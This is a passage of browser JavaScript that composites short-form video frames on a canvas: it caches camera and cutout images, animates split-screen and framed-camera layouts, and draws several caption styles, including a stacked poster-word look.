  const canvas = document.createElement('canvas'); canvas.width = Math.round(W * scale); canvas.height = Math.round(H * scale);
  document.body.appendChild(canvas);
  const ctx = canvas.getContext('2d', { alpha: false });
  K.initSheet(ctx);
  const bg0 = performance.now(), BG = K.makeBackground(); PERF_BOOT.bg = performance.now() - bg0; PERF_BOOT.fonts = bg0;

  // render benchmark (ms, per worker, see lib/encode.js): load = waiting on frame images (fetch + decode)
  // frames prefetched ahead of the one drawn (?ahead=n, default 8): fetch + JPEG decode run in parallel instead of one
  // frame at a time. Benchmark 2026-10-21, 5 shorts, M4 Max: images waited 11.6 ms per frame with 1 ahead, 3.7 with 8
  const AHEAD = +new URLSearchParams(location.search).get('ahead') || 8;
  const PERF = { load: 0, render: 0, submit: 0, encWait: 0, flush: 0, total: 0, frames: 0 };
  // ---- image cache (LRU of decoded bitmaps)
  const bitmap = url => fetch(url).then(r => r.ok ? r.blob() : null).then(b => b ? createImageBitmap(b) : null).catch(() => null);
  // a cutout frame is virtual: the cam JPG masked by frames/matte (gray+alpha PNG from matte.swift)
  const CUT = '/p/frames/cutout/', cutCv = new OffscreenCanvas(1, 1), cutCtx = cutCv.getContext('2d');
  const cutBitmap = async url => {
    const n = url.slice(CUT.length, -4), [c, m] = await Promise.all([bitmap(`/p/frames/cam/${n}.jpg`), bitmap(`/p/frames/matte/${n}.png`)]);
    if (!c || !m) { c?.close(); m?.close(); return null; }
    cutCv.width = c.width; cutCv.height = c.height;
    cutCtx.globalCompositeOperation = 'copy'; cutCtx.drawImage(m, 0, 0, c.width, c.height);
    // spec.cam.keep [[x, y, w, h, r]] (cam-crop px, r a number or [tl, tr, br, bl]): props in front of him that the
    // person matte drops (a mic and its arm) are always kept, instead of leaving a paper-coloured hole in his chest
    const keep = spec.cam?.keep;
    if (keep?.length) {
      cutCtx.globalCompositeOperation = 'source-over'; cutCtx.fillStyle = '#fff'; cutCtx.filter = 'blur(2px)';
      cutCtx.beginPath(); for (const [x, y, w, h, r = 0] of keep) cutCtx.roundRect(x, y, w, h, r); cutCtx.fill(); cutCtx.filter = 'none';
    }
    cutCtx.globalCompositeOperation = 'source-in'; cutCtx.drawImage(c, 0, 0);
    c.close(); m.close(); return createImageBitmap(cutCv);
  };
  const cache = new Map();
  let imgCap = 48;   // grows with the busiest frame, so a frame never evicts (and closes) its own images
  const load = url => {
    let p = cache.get(url);
    if (p) { cache.delete(url); cache.set(url, p); return p; }
    p = url.startsWith(CUT) ? cutBitmap(url) : bitmap(url);
    cache.set(url, p);
    while (cache.size > imgCap) { const [k, v] = cache.entries().next().value; cache.delete(k); v.then(b => b && b.close?.()); }
    return p;
  };
  const camURL = t => `/p/frames/cam/${pad5(clamp(Math.round(t * FPS), 0, frames.cam - 1))}.jpg`;
  // spec.cutout: one cutout or an array (e.g. a full-paper hook cutout, then a cam-mode magic backdrop later)
  const cuts = [].concat(spec.cutout || []).map(c => spec.cuts === 'hard' ? { hard: true, ...c } : c), cutURL = t => `/p/frames/cutout/${pad5(clamp(Math.round(t * FPS), 0, frames.cam - 1))}.png`;
  const cut = cuts.find(c => c.mode === 'cam'), camMode = !!cut, stdCuts = cuts.filter(c => c.mode !== 'cam');
  const onC = (c, t) => t >= c.from - .05 && t <= c.to + (c.mode === 'cam' ? 1.3 : 1);
  const cf = spec.capfly, ob = spec.orbit;
  const obOn = t => ob && t >= ob.orbitFrom - .1 && t <= ob.to + .3;
  const cutOn = t => cuts.some(c => onC(c, t)) || obOn(t), camCutOn = t => cut && onC(cut, t);
  // cam mode: the speaker stays where the camera shows him, but the room behind him is replaced by backdrops that
  // wipe in as circles from an origin (a finger snap). bg: [{at, kind: 'paper' | 'image' | 'cam', src, origin, w, sticker}]
  const layers = camMode ? [...(cut.bg || [])] : [];
  if (camMode && layers.at(-1)?.kind !== 'cam') layers.push({ at: cut.to, kind: 'cam', origin: [W / 2, H * .55] });
  // a layer's `img` (a full-frame alpha PNG, e.g. a giant title) sits between that layer and the person: text behind the head
  layers.forEach(L => { L.url = L.kind === 'image' ? '/p/' + L.src : null; L.imgUrl = L.img ? '/p/' + L.img : null; L.sticker ??= L.kind === 'paper'; });
  // m.alias: a frame identical to an earlier one loads that one (one fetch + decode, then the image cache hits)
  const mediaURL = (id, ct) => { const m = frames.media[id]; if (!m) return null; const i = clamp(Math.round(ct * FPS), 0, m.count - 1); return `/p/frames/media/${id}/${pad5(m.alias?.[i] ?? i)}.${m.ext || 'jpg'}`; };

  // image logos (any `logo` / `labelLogo` that is a project image path) load while their scene or actor is on screen
  const logoUsers = [...(spec.actors || []), ...(spec.scenes || [])].map(o => {
    const urls = new Set(), walk = v => { if (Array.isArray(v)) v.forEach(walk); else if (v && typeof v === 'object') for (const [k, x] of Object.entries(v)) k === 'imgs' && Array.isArray(x) ? x.forEach(u => typeof u === 'string' && urls.add('/p/' + u)) : k === 'imgKeys' && Array.isArray(x) ? x.forEach(e => typeof e?.[1] === 'string' && urls.add('/p/' + e[1])) : (k === 'logo' || k === 'labelLogo' || k === 'img' || k === 'avatarImg') && typeof x === 'string' && /\.(png|jpe?g|webp)$/i.test(x) ? urls.add('/p/' + x) : walk(x); };
    walk(o); return { from: o.from - (o.pre || 0), to: o.to, urls: [...urls] };
  }).filter(o => o.urls.length);
  const U = { cam: camURL, cut: cutURL };   // scenes' needs() may return these raw frame URLs
  // cuts: 'hard' (style or spec): every scene, media card (actor), cutout and B-roll appears and leaves in one frame, a straight cut like a
  // camera cut (Nico-style montage), instead of the default spring in / .26 s fade out. A scene or cutout can opt out with hard: false.
  const HARD = spec.cuts === 'hard';
  const actors = (spec.actors || []).map(a => (HARD ? { hard: true, ...a } : a)), scenes = linkScenes((spec.scenes || []).map(s => ({ layer: 'stage', ...(HARD ? { hard: true } : {}), ...s })));
  // full-screen B-roll: [{media, from, to, offset, zoom: .05}] covers camera and paper, captions stay on top.
  // Pair each with a media entry that has fill: true (cropped to the frame at prepare, sharp at full size).
  const brolls = spec.broll || [];
  const brollOn = (b, t) => t >= b.from - .05 && t <= b.to + .2;
  const brollA = (b, t) => {
    if (!brollOn(b, t)) return 0;
    const hard = b.hard ?? HARD, pin = hard ? +(t >= b.from) : S(t - b.from, 22), pout = hard ? +(t >= b.to) : S(t - b.to, 22);
    return Math.min(1, pin * 1.3) * (1 - pout);
  };
  const needs = t => {
    const out = frames.cam ? [camURL(t)] : [];   // paper-only (silent) shorts have no camera frames
    if (cutOn(t)) out.push(cutURL(t));
    if (cf && t >= cf.from - .05 && t <= cf.to + 1.5) out.push(cutURL(cf.from));
    const vn = spec.vanish;
    if (vn?.plate && t >= vn.from - .05 && t <= (vn.backAt ?? vn.to) + (vn.back ?? .45) + .05) out.push(cutURL(t), cutURL(vn.from), '/p/frames/plate.jpg');
    if (ob && t >= ob.from - .5 && t <= ob.to + .3) out.push('/p/' + ob.src);
    for (const L of layers) if (t >= L.at - .1 && t <= cut.to + 1.3) out.push(L.url, L.imgUrl);
    for (const a of actors) for (const [id, ct] of actorNeeds(a, t)) out.push(mediaURL(id, ct));
    for (const b of brolls) if (brollOn(b, t)) out.push(mediaURL(b.media, Math.max(0, (b.offset || 0) + t - b.from)));
    for (const o of logoUsers) if (t >= o.from - 1.5 && t <= (o.to ?? 1e9) + 1) for (const u of o.urls) out.push(u);
    for (const s of scenes) for (const n of SCENES[s.type]?.needs?.(s, t, U) || []) out.push(typeof n === 'string' ? n : mediaURL(n[0], n[1]));
    return out.filter(Boolean);
  };

  // ---- layout
  const seamKeys = spec.layout?.keys || [[0, 960]], zoomKeys = spec.zoom?.keys || [[0, 1]];
  // zoom.drift (scale per s, e.g. .02): a slow push-in on every camera shot, restarting from 1 at each seam key and each
  // instant punch (a zoom key with a spring of 60 or more, e.g. [t, 1.39, 400]), capped at 4 s of drift. Hard-cut styles
  // (nico-slowdown) never hold a still frame this way. zoom.wideOnly: only the wide shots push (keyed zoom 1.02 or less),
  // the punched-in shots hold still (aiwithremy).
  const DRIFT = spec.zoom?.drift || 0, shotStarts = DRIFT ? [...seamKeys.map(k => k[0]), ...zoomKeys.filter(k => (k[2] ?? 0) >= 60).map(k => k[0])].sort((a, b) => a - b) : [];
  const zoomAt = t => {
    let z = track(t, zoomKeys, 9);
    if (DRIFT && !(spec.zoom?.wideOnly && z > 1.02)) { let s0 = 0; for (const a of shotStarts) if (a <= t) s0 = a; z *= 1 + DRIFT * Math.min(4, t - s0); }
    return z;
  };
  // Hand-off: a standard cutout whose end meets a seam key leaving full paper (1920) for a split. The seam does not rise
  // from the bottom: it switches at once, the room fades in around the speaker and the cutout glides onto the camera
  // framing (same pixels, so it vanishes once aligned). He never leaves the screen. Opt out with cutout.handoff: false.
  const seamLive = seamKeys.map((k, i) => {
    const c = stdCuts.find(c => Math.abs(c.to - k[0]) < .15);
    if (!c || c.handoff === false || !(seamKeys[i - 1]?.[1] >= H - 1) || !(k[1] > 0 && k[1] < H - 1)) return k;
    c.ho = k[0]; return [k[0], k[1], 400];
  });
  const LW = spec.layout?.w ?? 10;   // seam spring stiffness for split <-> split and paper moves
  // Split <-> full camera (seam 0) is a "window": the camera panel lifts into a rounded card that opens to full screen
  // over the still paper, and closes back into the panel (layout.dur s, default .62). render() composites it.
  const LD = spec.layout?.dur ?? .62;
  const E5 = x => x <= 0 ? 0 : x >= 1 ? 1 : x * x * x * (x * (x * 6 - 15) + 10);
  const trans = seamKeys.flatMap((k, i) => {
    const a = seamKeys[i - 1]?.[1]; return i && (a === 0) !== (k[1] === 0) && Math.max(a, k[1]) < H - 1 ? [{ i, at: k[0] }] : [];
  });
  const trAt = t => { for (const r of trans) if (t >= r.at && t < r.at + LD) return { ...r, p: E5((t - r.at) / LD) }; return null; };
  // track(), except the window keys switch at once (the card does the move). force {i, p} pins key i's progress,
  // to draw the layout before (0) or after (1) it.
  const seamEval = (t, keys, force) => {
    let v = keys[0][1];
    for (let i = 1; i < keys.length; i++) {
      const k = keys[i];
      const p = force?.i === i ? force.p : trans.some(r => r.i === i) ? +(t >= k[0]) : S(t - k[0], k[2] ?? LW);
      if (p <= 0) break; v += (k[1] - keys[i - 1][1]) * p;
    }
    return v;
  };
  const seamAt = (t, force) => seamEval(t, seamLive, force), seamSmooth = t => seamEval(t, seamKeys);
  const hoCut = t => stdCuts.find(c => c.ho != null && t >= c.ho - .05 && onC(c, t));
  // Stage offset: only when the paper goes to / comes back from full-camera (0) does its content ride with it.
  // Between two split layouts the content stays put (each scene is authored for its own seam).
  const stageRef = t => { let i = 0; while (i + 1 < seamKeys.length && seamKeys[i + 1][0] <= t) i++; const cur = seamKeys[i][1], prev = seamKeys[i - 1]?.[1]; return cur === 0 ? (prev || 960) : prev === 0 ? cur : null; };
  const EDGE = Array.from({ length: Math.ceil(W / 6) + 2 }, (_, i) => (noise1(i * .16) - .5) * 3.2 + (noise1(i * .9 + 40) - .5) * 1.1);
  const edgePath = (seam, below) => {
    const p = new Path2D();
    // full camera (seam 0): the whole frame, no deckle, or its teeth leave a jagged paper strip along the top edge
    if (seam <= 0) { if (below) p.rect(0, 0, W, H); return p; }
    p.moveTo(0, below ? H : 0);
    for (let i = 0; i < EDGE.length; i++) p.lineTo(Math.min(W, i * 6), seam + EDGE[i]);
    p.lineTo(W, below ? H : 0); p.closePath(); return p;
  };
  const edgeLine = seam => { const p = new Path2D(); for (let i = 0; i < EDGE.length; i++) p[i ? 'lineTo' : 'moveTo'](Math.min(W, i * 6), seam + EDGE[i]); return p; };
  // Card layout (the clean look, layout.card: true or {x, y, w, h, r, zoom, bias, capY}): the camera sits in one fixed
  // rounded card at the bottom for the whole short, the stage owns everything above it, captions sit between the two.
  // No seam, no window transitions, no cutout. layout.keys is ignored.
  const CARD = spec.layout?.card ? { x: 66, y: 1082, w: 948, h: 715, r: 44, zoom: 1.08, bias: .27, ...(spec.layout.card === true ? {} : spec.layout.card) } : null;
  if (CARD) CARD.capY ??= CARD.y - 114;
  // Framed camera (layout.frame: true or {m, gap, bottom, r, border}): in split the camera is a photo pinned on the paper
  // (side margins, rounded corners, white paper border, the style's deep shadow) instead of a full-width panel under a
  // deckle edge. Seam keys and full-screen moves are unchanged: the window transition melts margins, corners and border
  // to 0 as it opens to full screen, and grows them back as it closes. frame.bleed: the photo runs off the left, right and
  // bottom edges of the frame (no margin, no border there, square bottom corners): only its top edge keeps the rounded
  // corners and the white border, so platform UIs never crop a thin paper strip around it.
  const FR = !CARD && spec.layout?.frame ? { m: 40, gap: 26, bottom: 46, r: 40, border: 9, ...(spec.layout.frame === true ? {} : spec.layout.frame) } : null;
  if (FR?.bleed) { FR.m = 0; FR.bottom = 0; }
  // the camera's video rect below `seam` (legacy: the whole width down to the bottom)
  const camRect = seam => {
    if (!FR) return { x: 0, y: seam, w: W, h: H - seam, r: 0, b: 0 };
    const f = clamp(seam / 400);
    return { x: FR.m * f, y: seam + FR.gap * f, w: W - 2 * FR.m * f, h: H - seam - (FR.gap + FR.bottom) * f, r: FR.r * f, b: FR.border * f };
  };
  const lerpRect = (A, B, p) => ({ x: lerp(A.x, B.x, p), y: lerp(A.y, B.y, p), w: lerp(A.w, B.w, p), h: lerp(A.h, B.h, p), r: lerp(A.r, B.r, p), b: lerp(A.b, B.b, p) });
  const rectPath = R => { const p = new Path2D(); p.roundRect(R.x, R.y, R.w, R.h, FR?.bleed ? [R.r, R.r, 0, 0] : R.r); return p; };
  const camClip = seam => FR && seam > 2 ? rectPath(camRect(seam)) : edgePath(seam, true);
  // the white border plate under the video, lifted off the paper like a sheet (no plate once it is full screen)
  function framePlate(R, a = 1) {
    if (FR.bleed && FR.border === 0) {   // layout.frame {border: 0}: no white border, a soft shadow cast up onto the paper instead (the creator 2026-10-14)
      const s = FR.shadow ?? 40, y = R.y; if (y <= 2 || y >= H) return;
      const g = ctx.createLinearGradient(0, y - s, 0, y);
      g.addColorStop(0, 'rgba(20,16,8,0)'); g.addColorStop(.6, `rgba(20,16,8,${(.07 * a).toFixed(3)})`); g.addColorStop(1, `rgba(20,16,8,${(.24 * a).toFixed(3)})`);
      ctx.save(); ctx.fillStyle = g; ctx.fillRect(R.x, y - s, R.w, s); ctx.restore(); return;
    }
    if (R.b < .3 && R.r < .3) return;
    if (FR.bleed) return K.sheet(ctx, R.x, R.y - R.b, R.w, R.h + R.b + R.r + 80, R.r && R.r + R.b, { elev: 1.1, alpha: a });   // bottom corners off frame
    K.sheet(ctx, R.x - R.b, R.y - R.b, R.w + 2 * R.b, R.h + 2 * R.b, R.r + R.b, { elev: 1.1, alpha: a });
  }
  function frameEdge(R, a = 1) {   // a hairline where the video meets the border, so it never looks pasted
    if (R.b < .3) return;
    ctx.save(); ctx.globalAlpha *= a * Math.min(1, R.b / 4); ctx.strokeStyle = 'rgba(20,16,8,.16)'; ctx.lineWidth = 1.2;
    if (FR.bleed) { ctx.beginPath(); ctx.rect(1, 0, W - 2, R.y + R.r + 1); ctx.clip(); }   // the top edge and its corners only
    ctx.stroke(rectPath(R)); ctx.restore();
  }

  // ---- captions
  const cap = spec.captions || {};
  // captions.hook {spans: [[a, b], ...] (source s), ...stack settings}: the base look (rise) reads everywhere, and only
  // inside those spans (the hook, the re-hook, a payoff, the CTA) the line turns into the 'stack' pile drawn with the base
  // captions overridden by the hook's own keys (size, maxWords, big, emph...). One chunk list, each chunk cut by its look.
  const HOOK = cap.style !== 'stack' && cap.hook?.spans?.length ? cap.hook : null, scap = HOOK ? { ...cap, ...HOOK } : cap;
  const outside = sp => { const r = []; let a = -1e9; for (const [x, y] of [...sp].sort((p, q) => p[0] - q[0])) { r.push([a, x]); a = y; } return [...r, [a, 1e9]]; };
  const chunks = !HOOK ? captionChunks(tl.words, { ...cap, hide: cap.hide || [], bleep: spec.bleep })
    : [...captionChunks(tl.words, { ...cap, hide: [...(cap.hide || []), ...HOOK.spans], bleep: spec.bleep }),
      ...captionChunks(tl.words, { ...scap, hide: [...(cap.hide || []), ...outside(HOOK.spans)], bleep: spec.bleep }).map(c => Object.assign(c, { stack: true }))]
      .sort((a, b) => a.start - b.start);
  if (HOOK) chunks.forEach((c, i) => c.next = chunks[i + 1]?.start ?? Infinity);
  // captions.upper: every caption word in capitals (e.g. black mono chips), measured and drawn that way
  const upper = cs => { if (cap.upper) for (const c of cs) c.words = c.words.map(w => ({ ...w, text: w.text.toUpperCase() })); return cs; };
  upper(chunks);
  // Captions are "paper sticker" words: bold ink with a thick paper outline and a soft drop shadow. No box behind
  // them, so nothing resizes between chunks; they read the same on the paper stage and on the camera.
  // spec.captions.style: one of the capStyles looks by name or 1-based number ('sticker' = this per-word default)
  // 'rise' / 'hard' (CAPTION_FONTS): word blocks, each word padded .18em, .05em apart, in their own family (captions.font)
  const CSTY = captionStyleIndex(cap.style), CNAME = CAPTION_STYLES[CSTY], BLOCK = CAPTION_FONTS[CNAME], cdraw = BLOCK ? null : CAPTION_DRAW[CSTY];
  const CS = cap.size || cdraw?.base || (BLOCK ? 82 : 84), WT = cap.weight || BLOCK?.[1] || 800, LS = cap.tracking != null ? CS * cap.tracking : BLOCK ? -CS * .012 : -1.5, STROKE = Math.round(CS * .22);
  const CF = cap.font || BLOCK ? K.famCss(cap.font || BLOCK[0]) : K.F.sans, NOBLK = CNAME === 'rise' && cap.block === false, PADX = CS * (NOBLK ? .1 : .18), GAP = CS * .05;
  if (CF !== K.F.sans) await document.fonts.load(`${WT} 40px ${CF}`);
  const STACK = CNAME === 'stack', SCS = scap.size || CS, SWT = scap.weight || WT, SCF = scap.font ? K.famCss(scap.font) : CF;
  const LBF = scap.labelFont ? K.famCss(scap.labelFont) : SCF, LBW = scap.labelWeight || 500;
  const BIGF = scap.bigFont ? K.famCss(scap.bigFont) : 'Archivo', BIGW = scap.bigWeight || (scap.bigFont ? 800 : 900);
  if (STACK || HOOK) { for (const f of [`${BIGW} 40px ${BIGF}`, `${LBW} 40px ${LBF}`, `${SWT} 40px ${SCF}`]) await document.fonts.load(f); }
  const wordW = w => K.measure(ctx, w.text, CS, WT, LS, CF);
  // captions.space: word gap as a multiple of the font's space (a pixel font's space is wide: .6 = aiwithremy's tight gap)
  const spW = () => K.measure(ctx, ' ', CS, WT, LS, CF) * (cap.space ?? 1);
  const chunkW = c => { const sp = BLOCK ? GAP + 2 * PADX : spW(); return c.words.reduce((a, w, i) => a + wordW(w) + (i ? sp : 0), BLOCK ? 2 * PADX : 0); };
  chunks.forEach(c => c.w = chunkW(c));
  const allChunks = upper(captionChunks(tl.words, { ...cap, hide: [], bleep: spec.bleep }));   // unhidden, for scenes that draw captions themselves (capStyles)
  // the caption's rest line for a layout: captions.yKeys [[t, y]] pins it from t on (a scene that moves the camera
  // itself, e.g. camSplit; null = back to the seam rule), else above the camera in split, on the video full screen.
  // Block looks never straddle the seam: in split the line sits on the paper just above the camera.
  // captions.straddle (rise): in split the line's middle sits on the camera's top edge instead, ink above it, white below.
  // captions.straddleDy (px): the straddle line sits that far below the camera's top edge, fully on the video (white words
  // on a soft dark shadow, no paper halo: the creator 2026-10-14 wanted shadows instead of the white border).
  const camTopAt = seam => FR ? camRect(seam).y - camRect(seam).b : seam;
  const capRest = (t, seam) => {
    const yk = (cap.yKeys || []).reduce((v, k) => t >= k[0] ? k[1] : v, null);
    const pin = yk != null || !!CARD || seam >= 1900 && cap.paperY != null;
    if (!pin && cap.straddle && seam >= 760 && seam < 1900) return { y: camTopAt(seam) + (cap.straddleDy || 0), pin };
    const y = yk != null ? yk : CARD ? CARD.capY : seam >= 1900 && cap.paperY != null ? cap.paperY : seam >= 760 ? Math.min(seam, 1400) : lerp(cap.fullY ?? 1180, 760, seam / 760);
    return { y: BLOCK && !pin ? y - (CS * .61 + 6) * clamp(seam / 760) : y, pin };
  };
  // A layout move never drags a readable line across the stage. Window (split <-> full): the line goes from rest line to
  // rest line (render passes {from, to, p}). Split <-> split: it rides the camera card but dips out for the middle of the
  // move (gone from 40% to 70% of the travel) and settles back in rising 14 px, so it never crosses the stage content.
  const capMove = t => {
    let i = 0; while (i + 1 < seamKeys.length && seamKeys[i + 1][0] <= t) i++;
    const a = seamKeys[i - 1]?.[1], b = seamKeys[i][1];
    if (!i || a === b || !a || !b || trans.some(r => r.i === i)) return null;
    const p = S(t - seamKeys[i][0], seamKeys[i][2] ?? LW); return p < .985 ? { a, b, p } : null;
  };
  function captions(t, seam, mv) {
    let c = null; for (const ch of chunks) if (ch.start - .02 <= t) c = ch; else break;
    if (!c || t >= c.stop || t > c.end + .25 && c.next - c.end > .55) return;
    // a full-screen B-roll hides the camera card: the line reads as over video (white words, soft shadow), never the
    // straddle's ink half with its paper outline nor the ink look of bare paper; the stack takes its full-camera look
    const onB = brolls.some(b => brollA(b, t) > .5);
    if (STACK || c.stack) return stackCaption(c, t, onB ? 0 : seam);
    let { y, pin } = capRest(t, seam), ga = 1;
    if (!pin && mv) y = lerp(capRest(t, mv.from).y, capRest(t, mv.to).y, mv.p);
    else if (!pin && (mv = capMove(t))) {
      const out = mv.p < .55, q = out ? 1 - smooth(clamp(mv.p / .4)) : smooth(clamp((mv.p - .7) / .28));
      y += out ? 0 : 14 * (1 - q); ga = q;
      if (ga <= .002) return;
    }
    const base = K.midBase(y, CS);
    // captions.scaleKeys [[t, k]]: a chunk starting at or after t is drawn k times bigger (a hook that hits harder),
    // grown up from the bottom of its line so it never reaches the camera card, and capped to fit the frame width
    const sk = Math.min((cap.scaleKeys || []).reduce((v, k) => c.start >= k[0] ? k[1] : v, 1), (W - 80) / Math.max(1, c.w));
    const big = Math.abs(sk - 1) > .01, ay = y + CS * .61;
    if (ga < 1 || big) { ctx.save(); ctx.globalAlpha *= ga; }
    if (big) { ctx.translate(W / 2, ay); ctx.scale(sk, sk); ctx.translate(-W / 2, -ay); }
    if (BLOCK) blockCaption(c, t, y, seam, onB ? -1e4 : mv?.camTop, big ? [ay, sk] : null); else captionLine(c, t, y, base);
    if (ga < 1 || big) ctx.restore();
  }
  // 'stack' (nico-slowdown): hard cuts, no box, no slide. Full camera: the chunk builds word by word into a stack
  // (captions.fullY = its middle, default 760): small words in the caption font, a word or two per short line
  // (captions.smallW px wide), each line nudged left or right (captions.stagger px), the key word (captions.emph, else
  // the chunk's longest content word) alone on its own line, uppercase, Archivo 900 (captions.stretch, default
  // extra-condensed), captions.big times the caption size, shrunk to fit the width. Paper alone: every word is a key
  // word, a centered column of big words (captions.paperY, default 960). White (captions.color) with a soft shadow on
  // the video, flat on the paper. Split: only the word being said, captions.labelFont (default the caption font) at
  // captions.labelWeight (500) and captions.labelSize, accent text on a tight white label across the camera's top edge.
  // captions.zoomDrop (px per 1x of zoom): on a punch-in the face grows down, so the full-camera stack slides down with it.
  // captions.outline {color (accent), width (.07 of the word size), until (source s, default the first chunk's end)}: the
  // hook's big words get a thick colored outline under the white fill (Nico's orange-rimmed hook), later ones stay plain.
  // captions.tall (default 1): every stack word is drawn that many times taller than wide (Nico's 1.5: tall, tight
  // poster letters, lines almost touching). captions.smallDisplay: the small words use the big words' face (Archivo 900
  // condensed, lowercase) instead of the caption font. captions.snap: each word cuts in at once (no fade, no scale).
  // captions.bigFont / bigWeight: the big words' face instead of Archivo 900 (e.g. Bricolage Grotesque 800,
  // condensed through its wdth axis). captions.paperColor: the words on bare paper (ink on a white paper, where white
  // vanishes). captions.split 'stack': on a split the stack stays (instead of the one-word label), centered on the
  // camera card's top edge + captions.splitDy, scaled by captions.splitScale (default .62). captions.yKeys [[t, y]]: the
  // full-camera stack's middle from t on (a CTA overlay that takes the bottom). captions.bigBlock: each big word sits on the
  // accent block (white on blue, rise's block; on bare paper only the emph words get it; 'emph': only the emph words
  // anywhere). captions.paperScale: on bare paper the same stack as on the camera (one big key word, the rest small)
  // drawn that many times bigger, instead of every word big. captions.keyMin: the shortest word (letters) that may become the big key word (default 4). captions.blurIn: every stack word
  // blurs in like rise (no scale, no snap).
  const STOP = new Set(('le la les un une des de du d l et à a en au aux ce ces cet cette ça il elle on nous vous ils elles je j tu me m te t se s sa son ses mon ma mes ton ta tes leur leurs que qu qui quoi pour par sur sous dans avec sans pas ne n plus mais ou où donc est c sont été être avoir ai as avons avez ont fait va vais très tout tous toute aussi comme si y cest nest jai quil quelle sil ny jen lui ' +
    'the an of to and in on for is are it its this that with you your we our they i my me be was were do does just so').split(' '));
  const normW = s => String(s).toLowerCase().replace(/[^\p{L}\p{N}]+/gu, '');
  const bare = s => String(s).replace(/^[«"“'(]+|[.,!?;:…»"”')]+$/g, '');
  const stackCache = new Map(), SBIG = SCS * (scap.big || 3.2), OUT = scap.outline, OUT_END = OUT ? OUT.until ?? chunks[0]?.end ?? 0 : -1;
  const TALL = scap.tall || 1, SDISP = !!scap.smallDisplay, BB = !!scap.bigBlock, BLUR = !!scap.blurIn, BH = BB ? 1.04 : .8;
  const fSmall = () => { if (SDISP) return fBig(SCS); ctx.font = K.font(SCS, SWT, SCF); ctx.fontStretch = 'normal'; ctx.letterSpacing = -SCS * .04 + 'px'; };
  const fBig = sz => { ctx.font = `${BIGW} ${sz}px ${BIGF}`; ctx.fontStretch = scap.stretch || 'extra-condensed'; ctx.letterSpacing = -sz * .02 + 'px'; };
  function stackLayout(c, paper) {
    const id = c.start + (paper ? 'p' : 'c'); let L = stackCache.get(id); if (L) return L;
    const PS = paper && scap.paperScale, key = paper && !PS || c.words.some(w => w.emph) ? null : c.words.reduce((b, w) => { const n = normW(w.text); return n.length >= (scap.keyMin ?? 4) && !STOP.has(n) && (!b || n.length > normW(b.text).length) ? w : b; }, null);
    const maxW = (W - 2 * (scap.margin ?? 90)) / (PS || 1), smallW = scap.smallW ?? 380, st = scap.stagger ?? 70, lines = []; let cur = null;
    ctx.save();
    // captions.paperBig (x the caption size): on bare paper the words pack into full-width poster lines at that size
    // (each line shrunk to fit), like Nico's « FAUT LE / TRANSFORMER / EN / VIDÉO », instead of one word per line
    if (paper && scap.paperBig && !PS) {
      const PB = SCS * scap.paperBig; fBig(PB); const sp = ctx.measureText(' ').width * 1.6; let ln = null;
      for (const w of c.words) {
        const text = bare(w.text).toUpperCase(), wd = ctx.measureText(text).width;
        if (!ln || ln.width + sp + wd > maxW && ln.items.length) lines.push(ln = { big: PB, items: [], width: -sp, dx: 0 });
        ln.width += sp; ln.items.push({ w, text, x: ln.width }); ln.width += wd;
      }
      lines.forEach((l, i) => { const k = Math.min(1, maxW / l.width); l.big = PB * k; l.h = l.big * BH * TALL; l.paper = true; l.width *= k; l.items.forEach(it => it.x *= k);
        l.dx = lines.length > 1 ? st * .8 * [-1, 1, .4, -.6][i % 4] * Math.min(1, (maxW - l.width) / (2 * st)) : 0; });
      ctx.restore(); L = place(lines, SCS * .05); stackCache.set(id, L); return L;
    }
    for (const w of c.words) {
      if (paper && !PS || w.emph || w === key) {
        const text = bare(w.text).toUpperCase(); fBig(SBIG); const k = Math.min(1, maxW / ctx.measureText(text).width), sz = SBIG * k;
        lines.push({ big: sz, h: sz * BH * TALL, dx: 0, width: ctx.measureText(text).width * k, items: [{ w, text, x: 0 }] }); cur = null; continue;
      }
      fSmall(); const text = bare(w.text), wd = ctx.measureText(text).width, sp = ctx.measureText(' ').width;
      if (!cur || cur.width + sp + wd > smallW) lines.push(cur = { big: 0, h: SCS * (SDISP ? .8 : .98) * TALL, items: [], width: -sp, dx: st * [-1, .6, 1, -.5][lines.length % 4] * (Math.round(c.start * 10) % 2 ? 1 : -1) });
      cur.width += sp; cur.items.push({ w, text, x: cur.width, wd }); cur.width += wd;
    }
    ctx.restore();
    // captions.tuck: a short small line just before a big word sits beside it, left of its top (Nico's « étant ASSEZ »),
    // and a short small line just after it hangs right-aligned under it (« COMPÉTENT / maintenant »)
    if (scap.tuck) lines.forEach((l, i) => {
      if (!l.big) return; const mL = scap.margin ?? 90, g = SCS * .3, bl = W / 2 - l.width / 2 + l.dx, pv = lines[i - 1], nx = lines[i + 1];
      if (pv && !pv.big && !pv.tuck && pv.items.length <= 2 && bl - g - pv.width >= mL) { pv.tuck = l; pv.dx = bl - g - pv.width / 2 - W / 2; }
      if (nx && !nx.big && nx.items.length <= 2 && i + 2 >= lines.length) nx.dx = Math.min(bl + l.width, W - mL) - nx.width / 2 - W / 2;
    });
    L = place(lines, SCS * (TALL > 1 ? .05 : .1)); stackCache.set(id, L); return L;
  }
  // each line's top inside the stack (a tucked line takes no room: it rides on the big word after it)
  function place(lines, gap) {
    let y = 0; for (const l of lines) if (!l.tuck) { l.y = y; y += l.h + gap; }
    for (const l of lines) if (l.tuck) l.y = l.tuck.y + l.tuck.big * ((BB ? .88 : .76) * TALL - .62);
    return { lines, h: Math.max(0, y - gap), gap };
  }
  function stackCaption(c, t, seam) {
    const SPL = !CARD && seam >= 760 && seam < 1900;
    if (SPL && scap.split !== 'stack') {   // split: the word being said on a white label
      let w = null; for (const x of c.words) if (x.start - .03 <= t) w = x; if (!w) return;
      const yk = (scap.yKeys || []).reduce((v, k) => t >= k[0] ? k[1] : v, null), y = yk ?? camTopAt(seam), sz = scap.labelSize || SCS, text = bare(w.text);
      ctx.save(); ctx.font = K.font(sz, LBW, LBF); ctx.letterSpacing = -sz * .01 + 'px'; ctx.textAlign = 'center'; ctx.textBaseline = 'alphabetic';
      const tw = ctx.measureText(text).width, px = sz * .14, h = sz * 1.12;
      ctx.fillStyle = C.sheet; ctx.fillRect(W / 2 - tw / 2 - px, y - h / 2, tw + 2 * px, h);
      ctx.fillStyle = C.blue; ctx.fillText(text, W / 2, K.midBase(y, sz)); ctx.restore(); return;
    }
    const onCam = seam < 1900, L = stackLayout(c, !onCam), yk = (scap.yKeys || []).reduce((v, k) => t >= k[0] ? k[1] : v, null);
